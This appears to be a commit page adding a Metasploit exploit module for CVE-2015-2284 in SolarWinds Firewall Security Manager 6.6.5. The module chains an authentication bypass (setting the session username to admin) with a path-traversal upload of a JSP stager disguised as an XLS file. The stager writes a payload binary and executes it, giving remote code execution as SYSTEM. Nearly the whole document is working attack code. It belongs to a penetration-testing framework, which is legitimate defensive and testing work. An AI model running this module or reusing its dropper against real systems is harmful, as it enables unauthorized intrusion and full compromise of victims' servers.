Land #5050, @wchen-r7's exploit for Solarwinds Firewall Security Manager
* CVE-2015-2284bug/bundler_fix
jvazquez-r7
commit
828301a6cc
|
|
@ -0,0 +1,242 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
include Msf::Exploit::EXE
|
||||||
|
include Msf::Exploit::FileDropper
|
||||||
|
|
||||||
|
def initialize(info={})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => "Solarwinds Firewall Security Manager 6.6.5 Client Session Handling Vulnerability",
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits multiple vulnerabilities found in Solarwinds Firewall Security Manager
|
||||||
|
6.6.5. The first vulnerability is an authentication bypass via the Change Advisor interface
|
||||||
|
due to a user-controlled session.putValue API in userlogin.jsp, allowing the attacker to set
|
||||||
|
the 'username' attribute before authentication. The second problem is that the settings-new.jsp
|
||||||
|
file will only check the 'username' attribute before authorizing the 'uploadFile' action,
|
||||||
|
which can be exploited and allows the attacker to upload a fake xls host list file to the
|
||||||
|
server, and results in arbitrary code execution under the context of SYSTEM.
|
||||||
|
|
||||||
|
Depending on the installation, by default the Change Advisor web server is listening on port
|
||||||
|
48080 for an express install. Otherwise, this service may appear on port 8080.
|
||||||
|
|
||||||
|
Solarwinds has released a fix for this vulnerability as FSM-v6.6.5-HotFix1.zip. You may
|
||||||
|
download it from the module's References section.
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'rgod', # Original discovery
|
||||||
|
'mr_me <steventhomasseeley[at]gmail.com>', # https://twitter.com/ae0n_
|
||||||
|
'sinn3r' # Metasploit
|
||||||
|
],
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['CVE', '2015-2284'],
|
||||||
|
['OSVDB', '81634'],
|
||||||
|
['ZDI', '15-107'],
|
||||||
|
['URL', 'http://downloads.solarwinds.com/solarwinds/Release/HotFix/FSM-v6.6.5-HotFix1.zip']
|
||||||
|
],
|
||||||
|
'DefaultOptions' =>
|
||||||
|
{
|
||||||
|
'RPORT' => 48080 # Could be 8080 too
|
||||||
|
},
|
||||||
|
'Platform' => 'win',
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
['Solarwinds Firewall Security Manager 6.6.5', {}]
|
||||||
|
],
|
||||||
|
'Privileged' => false,
|
||||||
|
'DisclosureDate' => 'Mar 13 2015',
|
||||||
|
'DefaultTarget' => 0))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('TARGETURI', [ true, 'Base FMS directory path', '/'])
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Returns a checkcode that indicates whether the target is FSM or not
|
||||||
|
def check
|
||||||
|
res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'fsm', 'login.jsp'))
|
||||||
|
|
||||||
|
if res && res.body =~ /SolarWinds FSM Change Advisor/i
|
||||||
|
return Exploit::CheckCode::Detected
|
||||||
|
end
|
||||||
|
|
||||||
|
Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Exploit/run command
|
||||||
|
def exploit
|
||||||
|
unless check == Exploit::CheckCode::Detected
|
||||||
|
fail_with(Failure::NotVulnerable, 'Target does not appear to be a Solarwinds Firewall Security Manager')
|
||||||
|
end
|
||||||
|
|
||||||
|
# Stage 1 of the attack
|
||||||
|
# 'admin' is there by default and you can't delete it
|
||||||
|
username = 'admin'
|
||||||
|
print_status("Auth bypass: Putting session value: username=#{username}")
|
||||||
|
sid = put_session_value(username)
|
||||||
|
print_status("Your SID is: #{sid}")
|
||||||
|
|
||||||
|
# Stage 2 of the attack
|
||||||
|
exe = generate_payload_exe(code: payload.encoded)
|
||||||
|
filename = "#{Rex::Text.rand_text_alpha(5)}.jsp"
|
||||||
|
# Because when we get a shell, we will be at:
|
||||||
|
# C:\Program Files\SolarWinds\SolarWinds FSMServer\webservice
|
||||||
|
# So we have to adjust this filename in order to delete the file
|
||||||
|
register_files_for_cleanup("../plugins/com.lisletech.athena.http.servlets_1.2/jsp/#{filename}")
|
||||||
|
malicious_file = get_jsp_payload(exe, filename)
|
||||||
|
print_status("Uploading file: #{filename} (#{exe.length} bytes)")
|
||||||
|
upload_exec(sid, filename, malicious_file)
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
private
|
||||||
|
|
||||||
|
|
||||||
|
# Returns a write-stager
|
||||||
|
# I grabbed this from Juan's sonicwall_gms_uploaded.rb module
|
||||||
|
def jsp_drop_bin(bin_data, output_file)
|
||||||
|
jspraw = %Q|<%@ page import="java.io.*" %>\n|
|
||||||
|
jspraw << %Q|<%\n|
|
||||||
|
jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n|
|
||||||
|
|
||||||
|
jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n|
|
||||||
|
|
||||||
|
jspraw << %Q|int numbytes = data.length();\n|
|
||||||
|
|
||||||
|
jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n|
|
||||||
|
jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n|
|
||||||
|
jspraw << %Q|{\n|
|
||||||
|
jspraw << %Q| char char1 = (char) data.charAt(counter);\n|
|
||||||
|
jspraw << %Q| char char2 = (char) data.charAt(counter + 1);\n|
|
||||||
|
jspraw << %Q| int comb = Character.digit(char1, 16) & 0xff;\n|
|
||||||
|
jspraw << %Q| comb <<= 4;\n|
|
||||||
|
jspraw << %Q| comb += Character.digit(char2, 16) & 0xff;\n|
|
||||||
|
jspraw << %Q| bytes[counter/2] = (byte)comb;\n|
|
||||||
|
jspraw << %Q|}\n|
|
||||||
|
|
||||||
|
jspraw << %Q|outputstream.write(bytes);\n|
|
||||||
|
jspraw << %Q|outputstream.close();\n|
|
||||||
|
jspraw << %Q|%>\n|
|
||||||
|
|
||||||
|
jspraw
|
||||||
|
end
|
||||||
|
|
||||||
|
# Returns JSP that executes stuff
|
||||||
|
# This is also from Juan's sonicwall_gms_uploaded.rb module
|
||||||
|
def jsp_execute_command(command)
|
||||||
|
jspraw = %Q|<%@ page import="java.io.*" %>\n|
|
||||||
|
jspraw << %Q|<%\n|
|
||||||
|
jspraw << %Q|try {\n|
|
||||||
|
jspraw << %Q| Runtime.getRuntime().exec("chmod +x #{command}");\n|
|
||||||
|
jspraw << %Q|} catch (IOException ioe) { }\n|
|
||||||
|
jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n|
|
||||||
|
jspraw << %Q|%>\n|
|
||||||
|
|
||||||
|
jspraw
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Returns a JSP payload
|
||||||
|
def get_jsp_payload(exe, output_file)
|
||||||
|
jsp_drop_bin(exe, output_file) + jsp_execute_command(output_file)
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Creates an arbitrary username by abusing the server's unsafe use of session.putValue
|
||||||
|
def put_session_value(value)
|
||||||
|
res = send_request_cgi(
|
||||||
|
'uri' => normalize_uri(target_uri.path, 'fsm', 'userlogin.jsp'),
|
||||||
|
'method' => 'GET',
|
||||||
|
'vars_get' => { 'username' => value }
|
||||||
|
)
|
||||||
|
|
||||||
|
unless res
|
||||||
|
fail_with(Failure::Unknown, 'The connection timed out while setting the session value.')
|
||||||
|
end
|
||||||
|
|
||||||
|
get_sid(res)
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Returns the session ID
|
||||||
|
def get_sid(res)
|
||||||
|
cookies = res.get_cookies
|
||||||
|
sid = cookies.scan(/(JSESSIONID=\w+);*/).flatten[0] || ''
|
||||||
|
sid
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Uploads a malicious file and then execute it
|
||||||
|
def upload_exec(sid, filename, malicious_file)
|
||||||
|
res = upload_file(sid, filename, malicious_file)
|
||||||
|
|
||||||
|
if !res
|
||||||
|
fail_with(Failure::Unknown, 'The connection timed out while uploading the malicious file.')
|
||||||
|
elsif res.body.include?('java.lang.NoClassDefFoundError')
|
||||||
|
print_status('Payload being treated as XLS, indicates a successful upload.')
|
||||||
|
else
|
||||||
|
print_status('Unsure of a successful upload.')
|
||||||
|
end
|
||||||
|
|
||||||
|
print_status('Attempting to execute the payload.')
|
||||||
|
exec_file(sid, filename)
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Uploads a malicious file
|
||||||
|
# By default, the file will be saved at the following location:
|
||||||
|
# C:\Program Files\SolarWinds\SolarWinds FSMServer\plugins\com.lisletech.athena.http.servlets_1.2\reports\tickets\
|
||||||
|
def upload_file(sid, filename, malicious_file)
|
||||||
|
# Put our payload in:
|
||||||
|
# C:\Program Files\SolarWinds\SolarWinds FSMServer\plugins\com.lisletech.athena.http.servlets_1.2\jsp\
|
||||||
|
filename = "../../jsp/#{filename}"
|
||||||
|
|
||||||
|
mime_data = Rex::MIME::Message.new
|
||||||
|
mime_data.add_part(malicious_file, 'application/vnd.ms-excel', nil, "name=\"file\"; filename=\"#{filename}\"")
|
||||||
|
mime_data.add_part('uploadFile', nil, nil, 'name="action"')
|
||||||
|
|
||||||
|
proto = ssl ? 'https' : 'http'
|
||||||
|
ref = "#{proto}://#{rhost}:#{rport}#{normalize_uri(target_uri.path, 'fsm', 'settings-new.jsp')}"
|
||||||
|
|
||||||
|
send_request_cgi(
|
||||||
|
'uri' => normalize_uri(target_uri.path, 'fsm', 'settings-new.jsp'),
|
||||||
|
'method' => 'POST',
|
||||||
|
'vars_get' => { 'action' => 'uploadFile' },
|
||||||
|
'ctype' => "multipart/form-data; boundary=#{mime_data.bound}",
|
||||||
|
'data' => mime_data.to_s,
|
||||||
|
'cookie' => sid,
|
||||||
|
'headers' => { 'Referer' => ref }
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Executes the malicious file and get code execution
|
||||||
|
# We will be at this location:
|
||||||
|
# C:\Program Files\SolarWinds\SolarWinds FSMServer\webservice
|
||||||
|
def exec_file(sid, filename)
|
||||||
|
send_request_cgi(
|
||||||
|
'uri' => normalize_uri(target_uri.path, 'fsm', filename)
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Overrides the original print_status so we make sure we print the rhost and port
|
||||||
|
def print_status(msg)
|
||||||
|
super("#{rhost}:#{rport} - #{msg}")
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
Loading…
Reference in New Issue